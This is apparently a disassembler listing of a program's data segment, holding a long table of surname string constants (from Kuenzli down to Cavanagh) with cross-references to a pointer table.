aKuenzli db 'Kuenzli',0 ; DATA XREF: seg002:0042F5C8o
aKrysiak db 'Krysiak',0 ; DATA XREF: seg002:0042F5C4o
aKroemer db 'Kroemer',0 ; DATA XREF: seg002:0042F5C0o
aKraus db 'Kraus',0 ; DATA XREF: seg002:0042F5BCo
align 10h
aKrasney db 'Krasney',0 ; DATA XREF: seg002:0042F5B8o
aKrailo db 'Krailo',0 ; DATA XREF: seg002:0042F5B4o
align 10h
aKraemer db 'Kraemer',0 ; DATA XREF: seg002:0042F5B0o
aKovaks db 'Kovaks',0 ; DATA XREF: seg002:0042F5ACo
align 10h
aKotter db 'Kotter',0 ; DATA XREF: seg002:0042F5A8o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: seg002:0042F5A4o
align 4
aKool db 'Kool',0 ; DATA XREF: seg002:0042F5A0o
align 4
aKonrad db 'Konrad',0 ; DATA XREF: seg002:0042F59Co
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: seg002:0042F598o
align 10h
aKommer db 'Kommer',0 ; DATA XREF: seg002:0042F594o
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: seg002:0042F590o
align 4
aKohn db 'Kohn',0 ; DATA XREF: seg002:0042F58Co
align 4
aKoch db 'Koch',0 ; DATA XREF: seg002:0042F588o
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: seg002:0042F584o
aKnuff db 'Knuff',0 ; DATA XREF: seg002:0042F580o
align 4
aKlint db 'Klint',0 ; DATA XREF: seg002:0042F57Co
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: seg002:0042F578o
aKling db 'Kling',0 ; DATA XREF: seg002:0042F574o
align 10h
aKlemperer db 'Klemperer',0 ; DATA XREF: seg002:0042F570o
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: seg002:0042F56Co
aKleiman db 'Kleiman',0 ; DATA XREF: seg002:0042F568o
aKleckner db 'Kleckner',0 ; DATA XREF: seg002:0042F564o
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: seg002:0042F560o
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: seg002:0042F55Co
aKippenberger db 'Kippenberger',0 ; DATA XREF: seg002:0042F558o
align 10h
aKinsley db 'Kinsley',0 ; DATA XREF: seg002:0042F554o
aKindall db 'Kindall',0 ; DATA XREF: seg002:0042F550o
aKimura db 'Kimura',0 ; DATA XREF: seg002:0042F54Co
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: seg002:0042F548o
aKimmel db 'Kimmel',0 ; DATA XREF: seg002:0042F544o
align 4
aKhong db 'Khong',0 ; DATA XREF: seg002:0042F540o
align 10h
aKeul db 'Keul',0 ; DATA XREF: seg002:0042F53Co
align 4
aKerry db 'Kerry',0 ; DATA XREF: seg002:0042F538o
align 10h
aKendall db 'Kendall',0 ; DATA XREF: seg002:0042F534o
aKemsley db 'Kemsley',0 ; DATA XREF: seg002:0042F530o
aKempton db 'Kempton',0 ; DATA XREF: seg002:0042F52Co
aKelsey db 'Kelsey',0 ; DATA XREF: seg002:0042F528o
align 10h
aKelker db 'Kelker',0 ; DATA XREF: seg002:0042F524o
align 4
aKeith db 'Keith',0 ; DATA XREF: seg002:0042F520o
align 10h
aKeepper db 'Keepper',0 ; DATA XREF: seg002:0042F51Co
aKeenan db 'Keenan',0 ; DATA XREF: seg002:0042F518o
align 10h
aKee db 'Kee',0 ; DATA XREF: seg002:0042F514o
aKawachi db 'Kawachi',0 ; DATA XREF: seg002:0042F510o
aKasten db 'Kasten',0 ; DATA XREF: seg002:0042F50Co
align 4
aKassower db 'Kassower',0 ; DATA XREF: seg002:0042F508o
align 10h
aKarpouzes db 'Karpouzes',0 ; DATA XREF: seg002:0042F504o
align 4
aKangis db 'Kangis',0 ; DATA XREF: seg002:0042F500o
align 4
aKamel db 'Kamel',0 ; DATA XREF: seg002:0042F4FCo
align 4
aKalman db 'Kalman',0 ; DATA XREF: seg002:0042F4F8o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: seg002:0042F4F4o
align 10h
aKalil db 'Kalil',0 ; DATA XREF: seg002:0042F4F0o
align 4
aKaligian db 'Kaligian',0 ; DATA XREF: seg002:0042F4ECo
align 4
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: seg002:0042F4E8o
aKafadar db 'Kafadar',0 ; DATA XREF: seg002:0042F4E4o
aKaboolian db 'Kaboolian',0 ; DATA XREF: seg002:0042F4E0o
align 4
aKabbash db 'Kabbash',0 ; DATA XREF: seg002:0042F4DCo
aJulious db 'Julious',0 ; DATA XREF: seg002:0042F4D8o
aJuliano db 'Juliano',0 ; DATA XREF: seg002:0042F4D4o
aJucks db 'Jucks',0 ; DATA XREF: seg002:0042F4D0o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: seg002:0042F4CCo
align 10h
aJolly db 'Jolly',0 ; DATA XREF: seg002:0042F4C8o
align 4
aJohns db 'Johns',0 ; DATA XREF: seg002:0042F4C4o
align 10h
aJohannsen db 'Johannsen',0 ; DATA XREF: seg002:0042F4C0o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: seg002:0042F4BCo
aJewett db 'Jewett',0 ; DATA XREF: seg002:0042F4B8o
align 10h
aJespersen db 'Jespersen',0 ; DATA XREF: seg002:0042F4B4o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: seg002:0042F4B0o
aJellis db 'Jellis',0 ; DATA XREF: seg002:0042F4ACo
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: seg002:0042F4A8o
aJay db 'Jay',0 ; DATA XREF: seg002:0042F4A4o
aJarrell db 'Jarrell',0 ; DATA XREF: seg002:0042F4A0o
aJarnagin db 'Jarnagin',0 ; DATA XREF: seg002:0042F49Co
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: seg002:0042F498o
align 4
aJamil db 'Jamil',0 ; DATA XREF: seg002:0042F494o
align 10h
aJain db 'Jain',0 ; DATA XREF: seg002:0042F490o
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: seg002:0042F48Co
align 10h
aJagger db 'Jagger',0 ; DATA XREF: seg002:0042F488o
align 4
aJagers db 'Jagers',0 ; DATA XREF: seg002:0042F484o
align 10h
aJackson db 'Jackson',0 ; DATA XREF: seg002:0042F480o
aJacenko db 'Jacenko',0 ; DATA XREF: seg002:0042F47Co
aIyer db 'Iyer',0 ; DATA XREF: seg002:0042F478o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: seg002:0042F474o
align 4
aIsbill db 'Isbill',0 ; DATA XREF: seg002:0042F470o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: seg002:0042F46Co
align 4
aIsaac db 'Isaac',0 ; DATA XREF: seg002:0042F468o
align 10h
aInniss db 'Inniss',0 ; DATA XREF: seg002:0042F464o
align 4
aInamura db 'Inamura',0 ; DATA XREF: seg002:0042F460o
aIgarashi db 'Igarashi',0 ; DATA XREF: seg002:0042F45Co
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: seg002:0042F458o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: seg002:0042F454o
align 4
aHyde db 'Hyde',0 ; DATA XREF: seg002:0042F450o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: seg002:0042F44Co
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: seg002:0042F448o
align 4
aHupp db 'Hupp',0 ; DATA XREF: seg002:0042F444o
align 4
aHuntington db 'Huntington',0 ; DATA XREF: seg002:0042F440o
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: seg002:0042F43Co
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: seg002:0042F438o
align 10h
aHuey db 'Huey',0 ; DATA XREF: seg002:0042F434o
align 4
aHoy db 'Hoy',0 ; DATA XREF: seg002:0042F430o
aHoward db 'Howard',0 ; DATA XREF: seg002:0042F42Co
align 4
aHottle db 'Hottle',0 ; DATA XREF: seg002:0042F428o
align 4
aHostage db 'Hostage',0 ; DATA XREF: seg002:0042F424o
aHoshida db 'Hoshida',0 ; DATA XREF: seg002:0042F420o
aHorsley db 'Horsley',0 ; DATA XREF: seg002:0042F41Co
aHopkins db 'Hopkins',0 ; DATA XREF: seg002:0042F418o
aHooker db 'Hooker',0 ; DATA XREF: seg002:0042F414o
align 4
aHolzman db 'Holzman',0 ; DATA XREF: seg002:0042F410o
aHolway db 'Holway',0 ; DATA XREF: seg002:0042F40Co
align 4
aHolter db 'Holter',0 ; DATA XREF: seg002:0042F408o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: seg002:0042F404o
aHolmes db 'Holmes',0 ; DATA XREF: seg002:0042F400o
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: seg002:0042F3FCo
align 4
aHokanson db 'Hokanson',0 ; DATA XREF: seg002:0042F3F8o
align 10h
aHoffman db 'Hoffman',0 ; DATA XREF: seg002:0042F3F4o
aHoffer db 'Hoffer',0 ; DATA XREF: seg002:0042F3F0o
align 10h
aHock db 'Hock',0 ; DATA XREF: seg002:0042F3ECo
align 4
aHoang db 'Hoang',0 ; DATA XREF: seg002:0042F3E8o
align 10h
aHitchcock db 'Hitchcock',0 ; DATA XREF: seg002:0042F3E4o
align 4
aHirst db 'Hirst',0 ; DATA XREF: seg002:0042F3E0o
align 4
aHind db 'Hind',0 ; DATA XREF: seg002:0042F3DCo
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: seg002:0042F3D8o
align 4
aHeyeck db 'Heyeck',0 ; DATA XREF: seg002:0042F3D4o
align 10h
aHeubert db 'Heubert',0 ; DATA XREF: seg002:0042F3D0o
aHester db 'Hester',0 ; DATA XREF: seg002:0042F3CCo
align 10h
aHerrera db 'Herrera',0 ; DATA XREF: seg002:0042F3C8o
aHernandez db 'Hernandez',0 ; DATA XREF: seg002:0042F3C4o
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: seg002:0042F3C0o
align 10h
aHenery db 'Henery',0 ; DATA XREF: seg002:0042F3BCo
align 4
aHemphill db 'Hemphill',0 ; DATA XREF: seg002:0042F3B8o
align 4
aHelprin db 'Helprin',0 ; DATA XREF: seg002:0042F3B4o
aHellmiss db 'Hellmiss',0 ; DATA XREF: seg002:0042F3B0o
align 4
aHellman db 'Hellman',0 ; DATA XREF: seg002:0042F3ACo
aHeiland db 'Heiland',0 ; DATA XREF: seg002:0042F3A8o
aHeft db 'Heft',0 ; DATA XREF: seg002:0042F3A4o
align 10h
aHeermans db 'Heermans',0 ; DATA XREF: seg002:0042F3A0o
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: seg002:0042F39Co
align 4
aHaynes db 'Haynes',0 ; DATA XREF: seg002:0042F398o
align 10h
aHayes db 'Hayes',0 ; DATA XREF: seg002:0042F394o
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: seg002:0042F390o
align 10h
aHaviaras db 'Haviaras',0 ; DATA XREF: seg002:0042F38Co
align 4
aHarwell db 'Harwell',0 ; DATA XREF: seg002:0042F388o
aHartnett db 'Hartnett',0 ; DATA XREF: seg002:0042F384o
align 10h
aHartmann db 'Hartmann',0 ; DATA XREF: seg002:0042F380o
align 4
aHartman db 'Hartman',0 ; DATA XREF: seg002:0042F37Co
aHarrigan db 'Harrigan',0 ; DATA XREF: seg002:0042F378o
align 10h
aHarlow db 'Harlow',0 ; DATA XREF: seg002:0042F374o
align 4
aHargraves db 'Hargraves',0 ; DATA XREF: seg002:0042F370o
align 4
aHarding db 'Harding',0 ; DATA XREF: seg002:0042F36Co
aHanssen db 'Hanssen',0 ; DATA XREF: seg002:0042F368o
aHand db 'Hand',0 ; DATA XREF: seg002:0042F364o
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: seg002:0042F360o
align 4
aHamer db 'Hamer',0 ; DATA XREF: seg002:0042F35Co
align 10h
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: seg002:0042F358o
align 10h
aHalpert db 'Halpert',0 ; DATA XREF: seg002:0042F354o
aHallowell db 'Hallowell',0 ; DATA XREF: seg002:0042F350o
align 4
aHalkias db 'Halkias',0 ; DATA XREF: seg002:0042F34Co
aHaley db 'Haley',0 ; DATA XREF: seg002:0042F348o
align 4
aHackshaw db 'Hackshaw',0 ; DATA XREF: seg002:0042F344o
align 10h
aHackman db 'Hackman',0 ; DATA XREF: seg002:0042F340o
aHaar db 'Haar',0 ; DATA XREF: seg002:0042F33Co
align 10h
aHa db 'Ha',0 ; DATA XREF: seg002:0042F338o
align 4
aGuo db 'Guo',0 ; DATA XREF: seg002:0042F334o
aGunn db 'Gunn',0 ; DATA XREF: seg002:0042F330o
align 10h
aGuenthart db 'Guenthart',0 ; DATA XREF: seg002:0042F32Co
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: seg002:0042F328o
align 4
aGruner db 'Gruner',0 ; DATA XREF: seg002:0042F324o
align 4
aGrummell db 'Grummell',0 ; DATA XREF: seg002:0042F320o
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: seg002:0042F31Co
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: seg002:0042F318o
align 10h
aGreenfeld db 'Greenfeld',0 ; DATA XREF: seg002:0042F314o
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: seg002:0042F310o
align 4
aGravell db 'Gravell',0 ; DATA XREF: seg002:0042F30Co
aGozzi db 'Gozzi',0 ; DATA XREF: seg002:0042F308o
align 4
aGoody db 'Goody',0 ; DATA XREF: seg002:0042F304o
align 10h
aGoodearl db 'Goodearl',0 ; DATA XREF: seg002:0042F300o
align 4
aGood db 'Good',0 ; DATA XREF: seg002:0042F2FCo
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: seg002:0042F2F8o
align 10h
aGoldfarb db 'Goldfarb',0 ; DATA XREF: seg002:0042F2F4o
align 4
aGlendon db 'Glendon',0 ; DATA XREF: seg002:0042F2F0o
aGlegg db 'Glegg',0 ; DATA XREF: seg002:0042F2ECo
align 4
aGleason db 'Gleason',0 ; DATA XREF: seg002:0042F2E8o
aGist db 'Gist',0 ; DATA XREF: seg002:0042F2E4o
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: seg002:0042F2E0o
align 4
aGill db 'Gill',0 ; DATA XREF: seg002:0042F2DCo
align 10h
aGili db 'Gili',0 ; DATA XREF: seg002:0042F2D8o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: seg002:0042F2D4o
aGibson db 'Gibson',0 ; DATA XREF: seg002:0042F2D0o
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: seg002:0042F2CCo
aGhorai db 'Ghorai',0 ; DATA XREF: seg002:0042F2C8o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: seg002:0042F2C4o
aGeorgi db 'Georgi',0 ; DATA XREF: seg002:0042F2C0o
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: seg002:0042F2BCo
align 4
aGeller db 'Geller',0 ; DATA XREF: seg002:0042F2B8o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: seg002:0042F2B4o
aGarman db 'Garman',0 ; DATA XREF: seg002:0042F2B0o
align 4
aGarfield db 'Garfield',0 ; DATA XREF: seg002:0042F2ACo
align 4
aGambini db 'Gambini',0 ; DATA XREF: seg002:0042F2A8o
aGalwey db 'Galwey',0 ; DATA XREF: seg002:0042F2A4o
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: seg002:0042F2A0o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: seg002:0042F29Co
align 10h
aGabrielli db 'Gabrielli',0 ; DATA XREF: seg002:0042F298o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: seg002:0042F294o
align 4
aFurth db 'Furth',0 ; DATA XREF: seg002:0042F290o
align 4
aFuller db 'Fuller',0 ; DATA XREF: seg002:0042F28Co
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: seg002:0042F288o
align 10h
aFrye db 'Frye',0 ; DATA XREF: seg002:0042F284o
align 4
aFryberger db 'Fryberger',0 ; DATA XREF: seg002:0042F280o
align 4
aFrowiss db 'Frowiss',0 ; DATA XREF: seg002:0042F27Co
aFrisken db 'Frisken',0 ; DATA XREF: seg002:0042F278o
aFriedland db 'Friedland',0 ; DATA XREF: seg002:0042F274o
align 10h
aFried db 'Fried',0 ; DATA XREF: seg002:0042F270o
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: seg002:0042F26Co
align 4
aFreid db 'Freid',0 ; DATA XREF: seg002:0042F268o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: seg002:0042F264o
align 4
aFranz db 'Franz',0 ; DATA XREF: seg002:0042F260o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: seg002:0042F25Co
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: seg002:0042F258o
align 10h
aFossi db 'Fossi',0 ; DATA XREF: seg002:0042F254o
align 4
aFossey db 'Fossey',0 ; DATA XREF: seg002:0042F250o
align 10h
aFortier db 'Fortier',0 ; DATA XREF: seg002:0042F24Co
aFortes db 'Fortes',0 ; DATA XREF: seg002:0042F248o
align 10h
aForester db 'Forester',0 ; DATA XREF: seg002:0042F244o
align 4
aFolks db 'Folks',0 ; DATA XREF: seg002:0042F240o
align 4
aFlores db 'Flores',0 ; DATA XREF: seg002:0042F23Co
align 4
aFlier db 'Flier',0 ; DATA XREF: seg002:0042F238o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: seg002:0042F234o
aFisk db 'Fisk',0 ; DATA XREF: seg002:0042F230o
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: seg002:0042F22Co
aFinnegan db 'Finnegan',0 ; DATA XREF: seg002:0042F228o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: seg002:0042F224o
aFink db 'Fink',0 ; DATA XREF: seg002:0042F220o
align 10h
aField db 'Field',0 ; DATA XREF: seg002:0042F21Co
align 4
aFido db 'Fido',0 ; DATA XREF: seg002:0042F218o
align 10h
aFeuer db 'Feuer',0 ; DATA XREF: seg002:0042F214o
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: seg002:0042F210o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: seg002:0042F20Co
align 10h
aFernandes db 'Fernandes',0 ; DATA XREF: seg002:0042F208o
align 4
aFernald db 'Fernald',0 ; DATA XREF: seg002:0042F204o
aFeldman db 'Feldman',0 ; DATA XREF: seg002:0042F200o
aFejzo db 'Fejzo',0 ; DATA XREF: seg002:0042F1FCo
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: seg002:0042F1F8o
align 10h
aFates db 'Fates',0 ; DATA XREF: seg002:0042F1F4o
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: seg002:0042F1F0o
align 10h
aFarren db 'Farren',0 ; DATA XREF: seg002:0042F1ECo
align 4
aFarone db 'Farone',0 ; DATA XREF: seg002:0042F1E8o
align 10h
aFaris db 'Faris',0 ; DATA XREF: seg002:0042F1E4o
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: seg002:0042F1E0o
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: seg002:0042F1DCo
align 10h
aFaioes db 'Faioes',0 ; DATA XREF: seg002:0042F1D8o
align 4
aFagan db 'Fagan',0 ; DATA XREF: seg002:0042F1D4o
align 10h
aFabbris db 'Fabbris',0 ; DATA XREF: seg002:0042F1D0o
aEverett db 'Everett',0 ; DATA XREF: seg002:0042F1CCo
aEuripides db 'Euripides',0 ; DATA XREF: seg002:0042F1C8o
align 4
aEtter db 'Etter',0 ; DATA XREF: seg002:0042F1C4o
align 4
aEstes db 'Estes',0 ; DATA XREF: seg002:0042F1C0o
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: seg002:0042F1BCo
align 4
aErez db 'Erez',0 ; DATA XREF: seg002:0042F1B8o
align 10h
aErdos db 'Erdos',0 ; DATA XREF: seg002:0042F1B4o
align 4
aErdman db 'Erdman',0 ; DATA XREF: seg002:0042F1B0o
align 10h
aErbach db 'Erbach',0 ; DATA XREF: seg002:0042F1ACo
align 4
aEppling db 'Eppling',0 ; DATA XREF: seg002:0042F1A8o
aEnyeart db 'Enyeart',0 ; DATA XREF: seg002:0042F1A4o
aEncinas db 'Encinas',0 ; DATA XREF: seg002:0042F1A0o
aElvis db 'Elvis',0 ; DATA XREF: seg002:0042F19Co
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: seg002:0042F198o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: seg002:0042F194o
align 10h
aEliasson db 'Eliasson',0 ; DATA XREF: seg002:0042F190o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: seg002:0042F18Co
aEdward db 'Edward',0 ; DATA XREF: seg002:0042F188o
align 10h
aEdner db 'Edner',0 ; DATA XREF: seg002:0042F184o
align 4
aEdley db 'Edley',0 ; DATA XREF: seg002:0042F180o
align 10h
aEckel db 'Eckel',0 ; DATA XREF: seg002:0042F17Co
align 4
aEbeling db 'Ebeling',0 ; DATA XREF: seg002:0042F178o
aEardley db 'Eardley',0 ; DATA XREF: seg002:0042F174o
aDwyer db 'Dwyer',0 ; DATA XREF: seg002:0042F170o
align 10h
aDussault db 'Dussault',0 ; DATA XREF: seg002:0042F16Co
align 4
aDurrett db 'Durrett',0 ; DATA XREF: seg002:0042F168o
aDuffin db 'Duffin',0 ; DATA XREF: seg002:0042F164o
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: seg002:0042F160o
aDrinker db 'Drinker',0 ; DATA XREF: seg002:0042F15Co
aDowsland db 'Dowsland',0 ; DATA XREF: seg002:0042F158o
align 4
aDoug db 'Doug',0 ; DATA XREF: seg002:0042F154o
align 10h
aDoty db 'Doty',0 ; DATA XREF: seg002:0042F150o
align 4
aDosi db 'Dosi',0 ; DATA XREF: seg002:0042F14Co
align 10h
aDorf db 'Dorf',0 ; DATA XREF: seg002:0042F148o
align 4
aDore db 'Dore',0 ; DATA XREF: seg002:0042F144o
align 10h
aDoonan db 'Doonan',0 ; DATA XREF: seg002:0042F140o
align 4
aDonner db 'Donner',0 ; DATA XREF: seg002:0042F13Co
align 10h
aDonahue db 'Donahue',0 ; DATA XREF: seg002:0042F138o
aDoherty db 'Doherty',0 ; DATA XREF: seg002:0042F134o
aDockery db 'Dockery',0 ; DATA XREF: seg002:0042F130o
aDirksen db 'Dirksen',0 ; DATA XREF: seg002:0042F12Co
aDionysius db 'Dionysius',0 ; DATA XREF: seg002:0042F128o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: seg002:0042F124o
align 4
aDifronzo db 'Difronzo',0 ; DATA XREF: seg002:0042F120o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: seg002:0042F11Co
aDiefenbach db 'Diefenbach',0 ; DATA XREF: seg002:0042F118o
align 4
aDicks db 'Dicks',0 ; DATA XREF: seg002:0042F114o
align 10h
aDFini db 'D',27h,'fini',0 ; DATA XREF: seg002:0042F110o
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: seg002:0042F10Co
aDesombre db 'Desombre',0 ; DATA XREF: seg002:0042F108o
align 4
aDenison db 'Denison',0 ; DATA XREF: seg002:0042F104o
aDenham db 'Denham',0 ; DATA XREF: seg002:0042F100o
align 4
aDenault db 'Denault',0 ; DATA XREF: seg002:0042F0FCo
aDemusz db 'Demusz',0 ; DATA XREF: seg002:0042F0F8o
align 4
aDempster db 'Dempster',0 ; DATA XREF: seg002:0042F0F4o
align 4
aDeming db 'Deming',0 ; DATA XREF: seg002:0042F0F0o
align 10h
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: seg002:0042F0ECo
align 4
aDelger db 'Delger',0 ; DATA XREF: seg002:0042F0E8o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: seg002:0042F0E4o
align 4
aDelattre db 'Delattre',0 ; DATA XREF: seg002:0042F0E0o
align 10h
aDefeciani db 'Defeciani',0 ; DATA XREF: seg002:0042F0DCo
align 4
aDees db 'Dees',0 ; DATA XREF: seg002:0042F0D8o
align 4
aDebroff db 'Debroff',0 ; DATA XREF: seg002:0042F0D4o
aDerousse db 'deRousse',0 ; DATA XREF: seg002:0042F0D0o
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: seg002:0042F0CCo
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: seg002:0042F0C8o
align 10h
aDegennaro db 'DeGennaro',0 ; DATA XREF: seg002:0042F0C4o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: seg002:0042F0C0o
aDavid db 'David',0 ; DATA XREF: seg002:0042F0BCo
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: seg002:0042F0B8o
aDasgupta db 'Dasgupta',0 ; DATA XREF: seg002:0042F0B4o
align 10h
aDas db 'Das',0 ; DATA XREF: seg002:0042F0B0o
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: seg002:0042F0ACo
aDapice db 'Dapice',0 ; DATA XREF: seg002:0042F0A8o
align 4
aDante db 'Dante',0 ; DATA XREF: seg002:0042F0A4o
align 10h
aDanieli db 'Danieli',0 ; DATA XREF: seg002:0042F0A0o
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: seg002:0042F09Co
aDaly db 'Daly',0 ; DATA XREF: seg002:0042F098o
align 4
aDaldalian db 'Daldalian',0 ; DATA XREF: seg002:0042F094o
align 4
aDasilva db 'daSilva',0 ; DATA XREF: seg002:0042F090o
aCyders db 'Cyders',0 ; DATA XREF: seg002:0042F08Co
align 4
aCvek db 'Cvek',0 ; DATA XREF: seg002:0042F088o
align 4
aCutler db 'Cutler',0 ; DATA XREF: seg002:0042F084o
align 4
aCurrier db 'Currier',0 ; DATA XREF: seg002:0042F080o
aCui db 'Cui',0 ; DATA XREF: seg002:0042F07Co
aCroxton db 'Croxton',0 ; DATA XREF: seg002:0042F078o
aCroxen db 'Croxen',0 ; DATA XREF: seg002:0042F074o
align 10h
aCroshaw db 'Croshaw',0 ; DATA XREF: seg002:0042F070o
aCrocker db 'Crocker',0 ; DATA XREF: seg002:0042F06Co
aCrawford db 'Crawford',0 ; DATA XREF: seg002:0042F068o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: seg002:0042F064o
aCounter db 'Counter',0 ; DATA XREF: seg002:0042F060o
aCosmides db 'Cosmides',0 ; DATA XREF: seg002:0042F05Co
align 4
aCornish db 'Cornish',0 ; DATA XREF: seg002:0042F058o
aCorey db 'Corey',0 ; DATA XREF: seg002:0042F054o
align 4
aConnors db 'Connors',0 ; DATA XREF: seg002:0042F050o
aCondodina db 'Condodina',0 ; DATA XREF: seg002:0042F04Co
align 4
aConcino db 'Concino',0 ; DATA XREF: seg002:0042F048o
aComstock db 'Comstock',0 ; DATA XREF: seg002:0042F044o
align 10h
aCompton db 'Compton',0 ; DATA XREF: seg002:0042F03Co
; seg002:0042F040o
aCollis db 'Collis',0 ; DATA XREF: seg002:0042F038o
align 10h
aCollard db 'Collard',0 ; DATA XREF: seg002:0042F034o
aColella db 'Colella',0 ; DATA XREF: seg002:0042F030o
aColdren db 'Coldren',0 ; DATA XREF: seg002:0042F02Co
aCoito db 'Coito',0 ; DATA XREF: seg002:0042F028o
align 10h
aCoblenz db 'Coblenz',0 ; DATA XREF: seg002:0042F024o
aClow db 'Clow',0 ; DATA XREF: seg002:0042F020o
align 10h
aClifton db 'Clifton',0 ; DATA XREF: seg002:0042F01Co
aClement db 'Clement',0 ; DATA XREF: seg002:0042F018o
aClark db 'Clark',0 ; DATA XREF: seg002:0042F014o
align 4
aClancy db 'Clancy',0 ; DATA XREF: seg002:0042F010o
align 10h
aClaffey db 'Claffey',0 ; DATA XREF: seg002:0042F00Co
aCifarelli db 'Cifarelli',0 ; DATA XREF: seg002:0042F008o
align 4
aCicero db 'Cicero',0 ; DATA XREF: seg002:0042F004o
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: seg002:0042F000o
align 4
aChurch db 'Church',0 ; DATA XREF: seg002:0042EFFCo
align 10h
aChupasko db 'Chupasko',0 ; DATA XREF: seg002:0042EFF8o
align 4
aChu db 'Chu',0 ; DATA XREF: seg002:0042EFF4o
aChristopher db 'Christopher',0 ; DATA XREF: seg002:0042EFF0o
aChristie db 'Christie',0 ; DATA XREF: seg002:0042EFECo
align 4
aChristiano db 'Christiano',0 ; DATA XREF: seg002:0042EFE8o
align 4
aChristian db 'Christian',0 ; DATA XREF: seg002:0042EFE4o
align 10h
aChristenson db 'Christenson',0 ; DATA XREF: seg002:0042EFE0o
aChinman db 'Chinman',0 ; DATA XREF: seg002:0042EFDCo
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: seg002:0042EFD8o
aChilds db 'Childs',0 ; DATA XREF: seg002:0042EFD4o
align 4
aChildress db 'Childress',0 ; DATA XREF: seg002:0042EFD0o
align 4
aChien db 'Chien',0 ; DATA XREF: seg002:0042EFCCo
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: seg002:0042EFC8o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: seg002:0042EFC4o
align 4
aCherry db 'Cherry',0 ; DATA XREF: seg002:0042EFC0o
align 4
aCheang db 'Cheang',0 ; DATA XREF: seg002:0042EFBCo
align 4
aCharles db 'Charles',0 ; DATA XREF: seg002:0042EFB8o
aChapman db 'Chapman',0 ; DATA XREF: seg002:0042EFB4o
aCerioli db 'Cerioli',0 ; DATA XREF: seg002:0042EFB0o
aCeniceros db 'Ceniceros',0 ; DATA XREF: seg002:0042EFACo
align 4
aCavell db 'Cavell',0 ; DATA XREF: seg002:0042EFA8o
align 10h
aCavanagh db 'Cavanagh',0 ; DATA XREF: seg002:0042EFA4o
align 4
